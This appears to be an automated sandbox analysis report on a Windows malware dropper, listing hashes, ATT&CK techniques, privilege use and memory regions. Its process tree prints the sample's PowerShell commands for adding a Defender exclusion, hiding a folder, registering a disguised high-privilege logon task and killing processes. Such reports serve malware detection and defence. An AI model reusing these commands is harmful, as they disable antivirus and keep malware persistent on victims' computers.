5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e

Analysis

max time kernel
141s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 22:11

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General

Target

5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe
Size

2.5MB
MD5

7e04405fba6538fb04effb9b551f174f
SHA1

181e3158b1569b0cb94c4818706eb5c9a4f60ae0
SHA256

5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e
SHA512

1831da5f5ee48b6e1931bb27343f1ee7b1f7a32f13f6dab6058c7cf008edc3b0e85e7040a8cbaeefa9452c2cab61be8ccb45bfa7adbe59d733b7f1714b22db4f
SSDEEP

49152:hi9r4+6RpSnzbAT6HB0SBBfY7tEa+tjZEwYcU8wkPOx7pXhpV9u1O:ISWPAGhtBg7e3tjuwdXVPs7pXhpV9u1O

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1988	powershell.exe
1988	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp

Executes dropped EXE 1 IoCs

pid	Process
4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp

Loads dropped DLL 1 IoCs

pid	Process
4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4988	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1444	powershell.exe
4988	powershell.exe
1988	powershell.exe
1444	powershell.exe
1988	powershell.exe
4988	powershell.exe
4988	powershell.exe
4988	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe
Token: 35	1444	powershell.exe
Token: 36	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe
Token: 35	1444	powershell.exe
Token: 36	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5084 wrote to memory of 4924	5084	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe	83
PID 5084 wrote to memory of 4924	5084	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe	83
PID 5084 wrote to memory of 4924	5084	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe	83
PID 4924 wrote to memory of 1444	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	86
PID 4924 wrote to memory of 1444	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	86
PID 4924 wrote to memory of 1444	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	86
PID 4924 wrote to memory of 1988	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	88
PID 4924 wrote to memory of 1988	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	88
PID 4924 wrote to memory of 1988	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	88
PID 4924 wrote to memory of 4988	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	90
PID 4924 wrote to memory of 4988	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	90
PID 4924 wrote to memory of 4988	4924	5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp	90

C:\Users\Admin\AppData\Local\Temp\5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe
"C:\Users\Admin\AppData\Local\Temp\5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Users\Admin\AppData\Local\Temp\is-J8SBU.tmp\5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-J8SBU.tmp\5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp" /SL5="$80054,2174008,121344,C:\Users\Admin\AppData\Local\Temp\5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if (Get-ScheduledTask | Where-Object { $_.TaskName -eq '"FamilySafetyRefresherTask"' }) { Write-Output '"Task exists."' } else {"Register-ScheduledTask -TaskName FamilySafetyRefresherTask -Trigger (New-ScheduledTaskTrigger -AtLogon) -RunLevel Highest -TaskPath \Microsoft\Windows\Shell -Action (New-ScheduledTaskAction -Execute ""C:\Users\Admin\AppData\Local\Microsoft\Edge\System\update.exe""")" }
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Microsoft\Edge\System;New-Item -ItemType Directory -Path C:\Users\Admin\AppData\Local\Microsoft\Edge\System -Force; Set-ItemProperty -Path C:\Users\Admin\AppData\Local\Microsoft\Edge\System -Name Attributes -Value ([System.IO.FileAttributes]::Hidden + [System.IO.FileAttributes]::System);
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $processes = @('"update"', '"updater"');foreach ($procName in $processes) {if ($kill = Get-Process -Name $procName -ErrorAction SilentlyContinue) { $kill.Kill()}};
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
cf93bb4cc738434086f8aff864c8a754

SHA1
fdcf4ca903f7e8db36bf91f0d35f2f87405ff189

SHA256
a8beb3b9b37b58c444015d01a299233b9885c545a2b5ea711b1d070c9fabe488

SHA512
75025fdf22a953d4bead16fc8948f49b159bce9c70e41f53dc81afa913635302b228bde723f8c490c5e015b9f61c1dbd7f1ad77bf12d506b691d21bbd04ab31e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
4d858483276ef613d0ba937609392a03

SHA1
4a32d7827917252d00d8045ab49cea5bb4ea5fe0

SHA256
5c15285b115a474a75d87bef695863320f7784fac870572f948badc4678282ef

SHA512
058aaca582ae0a17ac495a8e6ef2ee6c71c4ae4e3c557d1a3b618e53ea803be373aea7eff3865bfe626533671d0fbd8a390c817aefeba47d160f3c73592b3ac2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ey3balvz.h12.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-8DMCP.tmp\CallBackCtrl.dll

Filesize
4KB

MD5
f07e819ba2e46a897cfabf816d7557b2

SHA1
8d5fd0a741dd3fd84650e40dd3928ae1f15323cc

SHA256
68f42a7823ed7ee88a5c59020ac52d4bbcadf1036611e96e470d986c8faa172d

SHA512
7ed26d41ead2ace0b5379639474d319af9a3e4ed2dd9795c018f8c5b9b533fd36bfc1713a1f871789bf14884d186fd0559939de511dde24673b0515165d405af

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-J8SBU.tmp\5aa3b51bb5f2feccb62b387ab35cc558b9a2c5e06c6852effe8f2bb10275305e.tmp

Filesize
1.1MB

MD5
34acc2bdb45a9c436181426828c4cb49

SHA1
5adaa1ac822e6128b8d4b59a54d19901880452ae

SHA256
9c81817acd4982632d8c7f1df3898fca1477577738184265d735f49fc5480f07

SHA512
134ff4022571efd46f7a62e99b857ebe834e9916c786345908010f9e1fb90be226b740ddee16ae9290fe45c86be7238c4555e422abe66a461d11545e19734beb

Download Submit
memory/1444-78-0x0000000007610000-0x000000000761A000-memory.dmp

Filesize
40KB

Download
memory/1444-65-0x000000006F470000-0x000000006F4BC000-memory.dmp

Filesize
304KB

Download
memory/1444-16-0x0000000005250000-0x00000000052B6000-memory.dmp

Filesize
408KB

Download
memory/1444-17-0x00000000052C0000-0x0000000005326000-memory.dmp

Filesize
408KB

Download
memory/1444-15-0x00000000051B0000-0x00000000051D2000-memory.dmp

Filesize
136KB

Download
memory/1988-82-0x0000000006FC0000-0x0000000006FDA000-memory.dmp

Filesize
104KB

Download
memory/1988-27-0x00000000053F0000-0x0000000005744000-memory.dmp

Filesize
3.3MB

Download
memory/1988-47-0x0000000005A30000-0x0000000005A7C000-memory.dmp

Filesize
304KB

Download
memory/1988-83-0x0000000006FB0000-0x0000000006FB8000-memory.dmp

Filesize
32KB

Download
memory/1988-14-0x0000000004BE0000-0x0000000005208000-memory.dmp

Filesize
6.2MB

Download
memory/1988-81-0x0000000006F80000-0x0000000006F94000-memory.dmp

Filesize
80KB

Download
memory/1988-52-0x000000006F470000-0x000000006F4BC000-memory.dmp

Filesize
304KB

Download
memory/1988-51-0x0000000005FD0000-0x0000000006002000-memory.dmp

Filesize
200KB

Download
memory/1988-62-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

Filesize
120KB

Download
memory/1988-80-0x0000000006F70000-0x0000000006F7E000-memory.dmp

Filesize
56KB

Download
memory/1988-64-0x0000000006BD0000-0x0000000006C73000-memory.dmp

Filesize
652KB

Download
memory/1988-46-0x0000000005A00000-0x0000000005A1E000-memory.dmp

Filesize
120KB

Download
memory/1988-77-0x0000000007380000-0x00000000079FA000-memory.dmp

Filesize
6.5MB

Download
memory/1988-79-0x0000000006F30000-0x0000000006F41000-memory.dmp

Filesize
68KB

Download
memory/4924-6-0x0000000000400000-0x000000000052E000-memory.dmp

Filesize
1.2MB

Download
memory/4924-90-0x0000000000400000-0x000000000052E000-memory.dmp

Filesize
1.2MB

Download
memory/4988-63-0x0000000007C30000-0x00000000081D4000-memory.dmp

Filesize
5.6MB

Download
memory/4988-49-0x0000000006900000-0x000000000691A000-memory.dmp

Filesize
104KB

Download
memory/4988-50-0x0000000006920000-0x0000000006942000-memory.dmp

Filesize
136KB

Download
memory/4988-48-0x00000000073D0000-0x0000000007466000-memory.dmp

Filesize
600KB

Download
memory/4988-13-0x0000000004E40000-0x0000000004E76000-memory.dmp

Filesize
216KB

Download
memory/5084-0-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/5084-2-0x0000000000401000-0x0000000000412000-memory.dmp

Filesize
68KB

Download
memory/5084-89-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download